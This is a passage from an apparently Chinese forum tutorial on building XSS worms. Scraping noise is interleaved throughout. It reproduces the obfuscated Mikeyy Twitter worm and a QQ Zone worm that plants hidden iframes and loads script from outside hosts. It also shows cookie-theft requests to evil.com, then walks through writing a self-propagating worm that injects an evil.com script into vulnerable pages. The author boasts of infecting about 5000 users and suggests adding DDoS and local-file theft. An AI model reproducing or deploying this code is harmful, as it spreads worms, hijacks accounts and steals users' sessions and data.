2 P  D/ C; B0 Y7 A7 J
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
6 h  y9 A5 C! S" y
! ~! l! w9 B/ M. h$ e: d1 JXmlHttp.send(null);
2 f) q7 O; @5 X" P  d& e
</script>
0 f7 p7 E0 y% ?复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
% c2 m* \" X0 A0 Q. `9 h
0 Q/ f: A1 w1 e- tvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
# J, {1 l+ H* f# W4 h

' ^' F, |3 q3 T# z! F) i
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
9 T% ?/ n1 j7 r% d  t
1 D' `9 Y1 l8 iXmlHttp.send(null);

* v5 m. n- x& ?<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
% r# C. D9 n" {$ _+ @复制代码案例:Twitter 蠕蟲五度發威
4 e$ d+ b. W. C第一版:
' P( A1 P6 ]! C& i0 c: |  下载 (5.1 KB)

6 天前 08:27

- |1 b% O; ?3 d4 i: j- @' I. ^第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
2 K* Y2 K4 ?1 z" G" ?9 E3 T  T: `
   2.   

   3. function XHConn(){  

   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
3 i( G5 M8 n- O5 L" |* D
3 n7 Y) E* e5 y' t3 _# i, J1 K  U* Z   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
. R" E7 Z1 a# r7 c; }' G3 e
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
) D* B6 M) U. D' N
   8.   catch(e) { _0x6687x2=false; }; }; };  
$ n/ I: A0 |: A; J; k, O复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  
% I2 O' {! A6 o0 J: m, y, f; [
   3.   var tmp_cookie=document.cookie;  

# C' |  ]& Q9 `# X2 e- s   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

5 X. [: D! p$ _3 B5 L   6.   var authtoken=authreg.exec(content);  
& z! J/ ]- z; `' R# i
6 \1 Z" R: n; `: k* s: l* u   7.   var authtoken=authtoken[1];  
0 u; J- }$ T# G/ h9 }2 `( n
   8.   var randomUpdate= new Array();  
  ^" T$ ^/ X- S! K7 y! S+ m
5 t3 b1 X% L% A! s   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
/ u6 q: H. J7 L8 j: X: w
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
" `' L) ~+ S/ m! ]
, O0 x' H2 G& p6 g/ B- F3 V  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

9 I1 _! ~) E) W/ M1 I  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
! I9 S' T; }8 o! n2 x
3 d* V5 l, V* C. G$ `! G  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

' d2 N% O; o* D4 \1 M; ?  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
: |& Z! U: k0 C/ b# l. E2 H; ?
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
5 Q- t, |# Z# s/ \8 ?2 _
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
1 p( S  ~* t& ]" p
6 _3 N; \, `/ X7 \1 l% q  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
$ e; p! {2 E/ ^/ U2 }$ Q
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
: L4 @- i# r) `8 b9 t8 g! b
  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
8 c- n7 R7 J8 t" \) h- B5 l
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
, ]3 U3 |: E! L, b3 L6 c' A
( q4 `3 ?9 v% j4 P) J& V. d  h  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
9 f* H9 t' \8 n3 B5 W( ]4 t
- K+ k  s! k6 t. F  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

. @% W1 S% ~/ _, a( T( f. a  24.     

3 y+ J& e% S. M# [  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     
3 V% w  H5 M( z" x4 X/ T
( I8 r1 y/ `  G: [, l4 z  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  
) T0 M7 k5 S, r) e0 V
  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  
; A  v1 m& x$ h, |' I% v
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

4 k$ b. G+ J- u  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
- C9 o# @7 j2 U! a3 q7 L/ C, L
& O5 i  j: W4 h3 p3 U  35.   var XSS=urlencode(genXSS);  
. x& ]) h- z) w& V8 R
0 v5 u# e! G% |' x  36.   var ajaxConn2= new XHConn();  
: Y& {- O" V7 q! G8 h7 k0 r7 ^
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
1 ^8 b6 K6 K" n. V: [; L
, h! K. k+ f+ X' e, C  D, P7 a( W/ S( X  38.     

  39. } ;  

% W; u5 {1 E! ?1 I" W  l  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

% m% B) Y' V% b: K! p4 B3 O) m$ Ywindow.onerror=killErrors;



6 m* c. i- {$ Uvar shendu;shendu=4;
* D) ^- D# w3 V. T. {
4 h) G7 v, |# R) B8 Q2 y0 x" K//---------------global---v------------------------------------------

0 W! _* R0 S; U$ ]! [2 h. z) {//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
. i4 _( Q, Q9 F0 h( x6 `" @
% C# `% `# u9 [1 Rvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
+ g8 U) P" t2 d
4 H8 F+ T+ m' r+ x. _, F5 k( Vvar myblogurl=new Array();var myblogid=new Array();

        var gurl=document.location.href;

' A4 Z) @5 G. p        var gurle=gurl.indexOf("com/");

- Q- Y& p( T  H+ E, [        gurl=gurl.substring(0,gurle+3);        

        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");

& b* B/ s2 \; G& ~3 W4 T1 I6 \5 \        visitorID=visitorID.substring(cookieS+14);
. q2 Z; j" W. B9 ~2 x1 s+ I
5 U' z1 N, `- E- d        cookieS=visitorID.indexOf(",");
% L! N5 s$ K3 i
5 o  I7 b1 v0 t0 k        visitorID=visitorID.substring(0,cookieS);
+ j$ J# p+ F* H7 Q' x9 X& ?
        get_my_blog(visitorID);
+ @( Y7 y. N4 B8 e. @4 J
        DOshuamy();
( U! H3 v& y( z# Q; Q% {/ o) k

: G4 W- _7 L/ t$ g6 a
//挂马

function DOshuamy(){
! A" Q2 S/ e8 @
var ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}
* P" a) E/ l0 W/ u$ ?' [# U* v5 W6 M

- O$ a  u. P- t$ H
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
* k6 F# B% d) {
1 [: n: f8 L$ Y+ L. Hfunction get_my_blog(visitorID){

/ W- `: ^( h1 K+ f# L* [   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

5 k7 b+ T0 W4 f/ y( Z0 o   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的

  ~9 e1 p( Q$ J: O: ^( I- A     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

     xhr.send();guest=xhr.responseText;
/ \5 ^7 y0 Z+ R# h
2 J" _- x/ s0 @1 D$ E9 n0 n     get_my_blogurl(guest);    //执行这个函数
  I; h) W9 m' H: q& O/ Y: ?0 S
! W3 O1 Q- u6 [. G/ \* U2 o    }

9 S8 _( S: Q/ i: |4 A}
5 s' s$ h" O+ T, w+ Q
2 ]0 b0 ~9 F0 S

3 Z% O$ V4 K& m  H3 R//这里似乎是判断没有登录的

function get_my_blogurl(guest){
$ g% r7 w& K! m' \$ H
/ ]! s( _& v( i  var mybloglist=guest;
. C* |# M: J6 W3 L
' N2 u% o: q. r; ?" f' Y" d  var myurls;var blogids;var blogide;
2 r: W3 ^+ v" a9 x
  for(i=0;i<shendu;i++){
* l( g( w6 U' u
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

2 Q; k9 |% V* ]' V     if(myurls!=-1){    //找到了就执行下面的

, C7 o! x, Q$ ^. J* l         mybloglist=mybloglist.substring(myurls+11);
! R  Z9 }$ H# W3 }6 N
         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);
% x, m# y  g2 X1 D6 R, b$ p
        }else{break;}
2 `5 \. f: \+ n8 d' X7 z) _
}

# b) `7 S- q  ?; z# o$ sget_my_testself();    //执行这个函数
; D) ~# W" b' x! Y( `
  z8 u9 K4 |, z( Y+ P: f( t8 b6 [}
/ R3 O$ M/ a. l
. [5 H9 v! k5 N* g

0 \$ o: p! u9 u8 c" M4 G5 e) i//这里往哪跳就不知道了

function get_my_testself(){

, k: k8 x* l- M# L1 X2 Q  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

& D6 P% d. G. q% P( ]5 A5 b. @! [      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url

2 C) g0 n2 }0 d4 S              xhr2.send();

, j7 Y2 f+ r+ z) G              guest2=xhr2.responseText;

: i, u2 l+ R6 s; l7 ]8 r              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
3 e* l/ G9 V. `. K0 U, t) @
% \5 Y0 [$ S/ |9 Z( F2 F              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
6 N' }, R4 I# X
              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
" T! T0 L( k) x
' [2 I, l; E, x# m                targetblogurlid=myblogid;   
! {# M0 C( E. `3 H9 X1 F
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

% Z6 N) F( V, M$ X. j                break;

5 E# j) t3 ^! u; i2 v5 L               }
7 J( i; i, `/ h, P
' @* _9 [& {* z0 I- `              if(mycheckit=="-1"){

1 x# Y5 E% {  a6 d$ \7 Q                targetblogurlid=myblogid;

* J0 B& _. |7 S: F9 e' B! r- [                add_js(visitorID,targetblogurlid,gurl);    //执行它
) r6 N& Q* x) A5 u- Z
                break;

+ ^  _4 Z9 _3 B  s  z3 W+ n               }
$ {6 h3 I% ~6 S$ j7 q* \4 r, Q
( k9 l/ H. ~1 ?        }      

' w6 _, x& _! m# J! r/ ^1 ?}
; d$ V$ x6 i/ A3 @3 w4 Z. ]7 _
8 \1 x8 K. C4 Q# K' a6 i0 X$ v}


% {! D$ J! M# X' u$ M$ {/ b
1 J+ i( ~0 ?7 @4 G7 [$ ]# y% [( ^7 x//--------------------------------------  
" b$ X( p7 m8 t0 @- F$ H
//根据浏览器创建一个XMLHttpRequest对象
; X8 Q4 k3 L. z
function createXMLHttpRequest(){
8 {1 h8 }+ j  \, N
4 E' x5 s+ C  t1 @' u/ o; \6 [    var XMLhttpObject=null;  

0 e: j$ c: _1 v' O    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
7 c1 m9 W- n5 y2 z
    else  

% T! s2 Q/ C2 q+ O2 M+ K% k! `      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
7 c7 J/ a5 X$ f. {% @( m0 {  i
        for(var i=0;i<MSXML.length;i++)  
! {9 T8 }. A; q2 J
        {  

* G" Q2 U# b! h8 x. \, ]            try  

. s. W/ l2 w& [# w$ C5 D3 ^            {  

                XMLhttpObject=new ActiveXObject(MSXML);  

* Y) }3 ]. s' R0 y' h/ o                break;  
3 f( Y+ K" y3 L* d
            }  

            catch (ex) {  

! `* U( S5 X9 A" @; q6 F% F. _            }  

" O" E, N9 A+ h. N/ W6 X- d         }  

$ t1 S" K0 d- Z4 Z$ w      }
0 e( p! P0 i( H
return XMLhttpObject;

}  
& H0 @9 R9 [7 k3 i  g% m! u2 `' O

" c( S  I8 \( H
//这里就是感染部分了
1 O( f0 N$ c/ G  y
function add_js(visitorID,targetblogurlid,gurl){

9 N5 q. @, D' w/ Zvar s2=document.createElement('script');
" r0 j4 p& a: ^( i1 r9 a. B
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
1 W" {$ C* q! d0 v9 ~$ U
document.getElementsByTagName('head').item(0).appendChild(s2);
3 q4 b! F+ Q! @3 R
* l' P2 p  t3 Z1 Y) j}

1 ~2 E5 F, e- n1 D+ V$ Q
" Q/ \/ s! Z9 z4 y2 L1 m) K
function add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
  m* g+ ~4 R5 n, b, u
) S( `, z9 b; L5 I* xs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

1 o7 o( `) Z' G8 @# ss2.type='text/javascript';
' G* A2 P  Q5 L' C' J- L
document.getElementsByTagName('head').item(0).appendChild(s2);

}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
# E+ R  q5 H$ @& G
* s( ~" r$ o1 x
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
5 z7 Q- d( J+ i: }7 q% `
首先,自然是判断不同浏览器,创建不同的对象var request = false;

  X) j, U. J( b& ^: V* T* O  i; p$ Jif(window.XMLHttpRequest) {

request = new XMLHttpRequest();

if(request.overrideMimeType) {

! Y, J0 D9 |8 j7 M& j3 n) L/ U7 }request.overrideMimeType('text/xml');
8 I. u$ T4 ?+ v' Z1 a
}
- K7 H& r3 Q& h$ S
} else if(window.ActiveXObject) {

! h, N" @4 S9 _$ m( n7 tvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
/ u5 W- b/ ]# Z* @
for(var i=0; i<versions.length; i++) {
# c6 X) F7 K1 o' F1 U' [
$ @( n7 L! f" ~& [3 u( C; Ntry {
6 g% Y! M6 Q/ o' E! o  n+ o
request = new ActiveXObject(versions);
& S/ z% _' x6 G% Z5 u
} catch(e) {}

4 H! z4 Q2 M' Q8 V: V+ U}

}
$ h3 C! j3 o5 }- v6 Q! M0 M  r
$ N4 v' X0 e  Z6 |xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
1 [  Z; f! i  ?$ C' |9 _7 W2 g
& I2 v/ b% [# I& k5 m% n- Y4 Q6 S) N2 i        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);

        var Browser_Agent=navigator.userAgent;
) m  j) M' c8 k8 Q0 L) z
, ?/ M9 c! }7 S0 ]0 \& F        
! X+ m) }+ R' o, A6 E& _
# C. K$ E$ Q* K/ u. [        var Actual_Version,Actual_Name;
  y) ]. ~( r3 }+ Y
        

7 u5 M& E0 J! s' ?: s: a9 q: O5 @, L        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
0 R6 a) a7 c2 a5 T, \7 u
, E$ f' [) L7 c8 ~! c" A        var is_NN=(Browser_Name=="Netscape");
- U! _( Z7 l. G% u& r& }
$ R( f5 a( Q8 r        var is_Ch=(Browser_Name=="Chrome");
# m6 v+ X# b$ N" U! z: o
        

8 T9 y: D# ~5 j( V2 O' R        if(is_NN){

            if(Browser_Version>=5.0){
$ C. }3 C' v) o  _
                var Split_Sign=Browser_Agent.lastIndexOf("/");

% {- o8 B  {9 c# \                var Version=Browser_Agent.indexOf(" ",Split_Sign);
( m2 u0 w; j6 ^, J9 ^9 t
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
" @% W7 L4 U' K9 B
1 r& }7 y' l- g" g- |- x

9 @1 X1 V9 U3 b                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
  z( U2 |" ]7 F; h( G$ E1 o
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
: Z/ v7 h, Q0 A" R6 l9 A# A; q* [
            }

9 U% h" S" }- B5 e( Q1 P3 l, I            else{
" z# Y+ I" c0 h; B
$ i+ P1 R) r: A7 R/ r3 t. j8 s                Actual_Version=Browser_Version;

1 ^2 [3 a% C* e( I  Z                Actual_Name=Browser_Name;
& f- P: L- F3 v# b' {5 u
6 t4 i- ]1 j; T- h            }
0 X% M2 u. g1 _& R" r4 W
- a  k+ [9 U! _3 z4 Z* C5 X        }

        else if(is_IE){

* Q) g2 d" b# T, m) @4 l. V            var Version_Start=Browser_Agent.indexOf("MSIE");
# }9 {+ A; U* J! R
( k% i5 `$ {$ _* I            var Version_End=Browser_Agent.indexOf(";",Version_Start);
5 c3 ~# Z6 y9 [8 T
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
& O! b$ N% P8 o: J! r9 f! T6 J1 `
            Actual_Name=Browser_Name;

            
& J4 i2 g" N2 I! r* y7 q
            if(Browser_Agent.indexOf("Maxthon")!=-1){
0 r5 @  W. v: E+ W
                Actual_Name+="(Maxthon)";

- P2 K, q0 T) |. e) e/ X- t            }

- J1 {9 U% {$ I9 i% p/ Q* C0 `            else if(Browser_Agent.indexOf("Opera")!=-1){
9 K7 ~# W/ H: e
                Actual_Name="Opera";
6 v7 C! |8 n! y6 V! ?2 F
                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
4 f( ~' j- r0 \' j% B
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

: F& U  P7 b: R3 L- |7 U' c        }
: M7 e, b  ~" p! X6 s, C3 |+ {# i
        else if(is_Ch){
- w. @" q4 ^9 P* J1 g
            var Version_Start=Browser_Agent.indexOf("Chrome");

3 r3 F, W7 P- d* i            var Version_End=Browser_Agent.indexOf(";",Version_Start);

% [. g4 o+ {- o/ K/ P            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
9 Q6 r0 J- Z) @( R! ]
3 ?' Y6 F2 ?( O5 V            Actual_Name=Browser_Name;

            
2 c; y3 W; [8 x
- Z( M! M) {6 O            if(Browser_Agent.indexOf("Maxthon")!=-1){
2 H0 D) p0 X6 n& P, f! M) G7 A0 y) c* F
                Actual_Name+="(Maxthon)";

            }
, O5 L; W6 ~, f- n1 g/ o
  v0 w4 \4 v; \* D7 \/ m            else if(Browser_Agent.indexOf("Opera")!=-1){
" o2 b7 d$ s3 ^- ~6 z
: Y# ~: y+ ~' O                Actual_Name="Opera";
+ w2 Z# a" [, |5 s
7 n+ F! v. w2 h5 ], M" J                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
5 ~1 S% j' H/ F
# o3 L3 Y, l' h                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
2 @, m6 s% F7 K9 z0 Z
7 n' E1 P5 N* X+ O8 B            }
; t4 S( [# v' ?5 ?) A3 \
        }

        else{

            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"

5 _$ B1 Z: V$ J! t+ U2 x7 v8 i9 ?/ }        }
& Q: ]2 _- |4 k3 R& G; @
& g0 A; N/ h8 z4 P, D  v8 }& l

* G, F) V9 {8 X& t        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;

9 `# A: \" a+ `        
$ s; x# k" }  p5 }( b
2 B. L& W: K' L3 W        this.Name=Actual_Name;

* e, ?/ I3 Q  b" q9 ^        this.Version=Actual_Version;
5 m) J- n3 N7 s! g  n
    }
' Q& i  Q2 {% M8 Q1 y
    browserinfo();

- G! Z+ _0 Q; J) m    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
* g7 x% g- d2 A5 v! l% D& ^
1 r( S; R# r- O    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
5 s( o  x: m' I1 L6 e6 }5 y
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
! m( Y# \* F8 O0 k6 R" N
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
0 f# n, E2 e$ h9 K复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;
- B" j+ B8 r: R0 k  K! i
var id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
: L" I* X9 F; q; g
$ ?+ [& v& z4 Wwhile ((result = patt.exec(resource)) != null)  {
6 u2 r2 J0 c6 q
1 y/ z8 `9 S/ a/ I" did++;

}
2 {0 P8 @' v9 B0 _7 R复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
  K/ x; q) P9 c8 _: g7 V( a$ @1 u
no=resource.search(/my name is/);
9 l8 l0 Y2 ^1 j4 a& b/ D
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
: y  @) n: i6 p
var post="wd="+wd;
; x/ t; `: r( _  L. K% Y0 i: C# l
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

# I5 W! D) q8 }xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
2 |" y8 V: K' n1 n0 ~1 N  Q
- K0 ]7 t+ ?+ a$ JxmlHttpReq.send(post);

}
& B, A+ v: W8 t$ v6 ~; n复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
5 e' Y" I" P# L% O% B8 j9 H
8 L, `) K6 R' D& r2 b7 Rvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;
9 ?/ d) r$ H$ m6 }8 V+ b  n9 u
4 K4 ^; H. R& a- K0 CxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
- F$ ]$ U. k; p5 g
: j9 x/ X$ G3 u4 |xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);
1 {& o' s# K! [9 G: L  w; h: x' E
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

4 _; t3 _9 W9 J+ c2 m0 G7 qxmlHttpReq.send(post);                 //把传播的信息 POST出去.

! E6 E  {& h5 q0 {0 B}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
3 \: f- R3 K. n' y

5 ]! I/ ?/ z' h2 a) y  H3 Q
) s4 P" h! |8 q本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
" H9 x& x' t: \- q7 C; q* F1 L/ K蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
6 F# ]* C. k' S, B5 @) F操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.


# X7 x" l2 E6 o" L6 m3 O/ K8 E
( q) ]$ s. X. n5 V; i( O9 ]5 h, D
5 S9 ^/ E4 e3 ?+ ]9 P
& x9 o; G3 ?9 x: u; k: V& U- p1 R; k6 U

; v; f, L4 o5 y
本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
8 |, K( ]% M: V2 `" Q0 hOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
1 o5 |2 H5 M9 q3 vhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
. {, |% m) `% ~空虚浪子心BLOG http://www.inbreak.net
2 @# V% m+ w$ }' m+ i: iXeye Team http://xeye.us/